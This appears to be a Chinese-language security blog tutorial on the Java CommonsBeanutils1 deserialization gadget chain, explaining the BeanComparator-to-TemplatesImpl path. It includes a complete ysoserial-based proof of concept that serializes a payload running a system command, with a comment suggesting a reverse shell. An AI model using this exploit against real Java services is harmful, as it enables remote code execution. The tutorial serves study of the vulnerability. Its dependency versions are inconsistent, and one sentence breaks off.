環境準備
JDK1.8(8u421) JDK8的版本應該都沒什麼影響,這裡直接以我的映象為準了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA
mvn中加入以下依賴:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
正文
CB鏈用到了CC2中的TemplatesImpl
的內容,如果你對CC2鏈不太熟悉,可以先看一下這個:https://www.cnblogs.com/erosion2020/p/18553815
當你知道CC2中的攻擊鏈的構成之後,你學CB鏈就會非常輕鬆,CB鏈也可以說是CC2鏈的一個變種,只是反序列化的點換成了commons-beanutils
中的另一個類,也就是BeanComparator
,下邊來解釋一下這個類是怎麼觸發TemplatesImpl
的。
BeanComparator
BeanComparator
是 Java 中常見的一個類,通常用於在集合中對 Java Bean 物件進行比較排序。它實現了 Comparator
介面,目的是根據物件的某個或多個屬性進行排序。在一些框架中(如 Apache Commons BeanUtils 或類似的工具庫),BeanComparator
是一種常見的比較器實現,簡化了比較操作,尤其是當比較的物件是 Java Bean 時。
基本作用
- 透過指定的屬性進行排序:它根據給定的 Java Bean 的某個屬性值進行排序。比如,如果有一個
Person
類,它有name
和age
屬性,可以使用BeanComparator
來根據name
或age
進行升序或降序排序。 - 靈活性:
BeanComparator
可以指定一個或多個屬性進行排序,支援更復雜的排序邏輯。透過利用 Java 反射,BeanComparator
能夠獲取 Bean 的屬性值並進行比較。
可以指定一個或多個屬性進行排序,支援更復雜的排序邏輯這一句話是非常重要的,正是因為BeanComparator可以透過欄位屬性排序,所以導致了攻擊鏈的觸發。
程式碼分析
public class BeanComparator<T> implements Comparator<T>, Serializable {
// 屬性欄位
private String property;
// 內部封裝了一個Comparator比較器
private final Comparator<?> comparator;
// 呼叫compare比較兩個物件的值
public int compare(T o1, T o2) {
......
// PropertyUtils.getProperty是重點方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
.......
}
}
PropertyUtils.getProperty(Object bean, String name) {
// 關注這個getProperty方法
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
// 會執行到這個方法
public Object getProperty(Object bean, String name) {
return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) {
......
if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
// 重點關注這個方法,如果bean是我們構造的TemplatesImpl物件,則會觸發這個方法
bean = this.getSimpleProperty(bean, name);
}
......
return bean;
}
// 這是最終觸發呼叫鏈程式碼的方法
public Object getSimpleProperty(Object bean, String name) {
// getPropertyDescriptor可以理解為獲取bean這個物件中的所有屬性欄位,如果這個欄位存在getter方法,也會獲取到
// 假設bean中存在info欄位以及getInfo方法,則PropertyDescriptor中的欄位資訊如下:
// name欄位為info
// readMethodName欄位為getOutputProperties
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
// 在這裡獲取到了readMethodName所對應的Method物件
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
// 執行Method
// 如果這裡的Method是我們精心構造的TemplatesImpl的getOutputProperties,那麼我們的攻擊鏈程式碼就可以被觸發
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
所以理清上邊的思路之後,我們現在要做的事情就是構造一個TemplatesImpl物件,然後建立一個BeanComparator,把其中的property設定為TemplatesImpl的outputProperties欄位,然後在觸發了BeanComparator的compare方法時,如果
POC(基於ysoserial)
老規矩,這個還是ysoserial的程式碼拿過來改了,沒有呼叫ysoserial中的工具類,不依賴工具庫可以直接本地除錯執行。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
static String serialFileName = "commons-bean-utils1.ser";
public static void main(String[] args) throws Exception {
// cb1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模擬反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cb1bySerial() throws Exception {
//==========================CC2中的構造Templates的內容 START==========================
String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);
final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//==========================CB1鏈觸發點 START==========================
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
// 這裡是讓其觸發BigInteger.lowestSetBit屬性方法,可以在set queue值的時候不報錯。
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
// 然後透過反射來對應的屬性值,這樣就能避免觸發額外的動作
Field property = comparator.getClass().getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");
// switch contents of queue
// queue中的值也是一樣,透過反射來set值就不會觸發heapfiy等一系列動作
Field queueFiled = queue.getClass().getDeclaredField("queue");
queueFiled.setAccessible(true);
final Object[] queueArray = (Object[])queueFiled.get(queue);
queueArray[0] = templates;
queueArray[1] = templates;
//====================CB1鏈觸發END===================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
fos.close();
}
}
執行
嘗試執行程式碼,來彈個cmd
呼叫鏈
呼叫鏈如下
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- BeanComparator.compare()
- PropertyUtils.getProperty()
- PropertyUtilsBean.getProperty()
- PropertyUtilsBean.getNestedProperty()
- PropertyUtilsBean.getSimpleProperty()
- PropertyUtilsBean.getPropertyDescriptor()
- PropertyUtilsBean.getReadMethod()
- PropertyUtilsBean.invokeMethod()
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()
- PriorityQueue.siftDownUsingComparator()
- PriorityQueue.siftDown()
- PriorityQueue.heapify()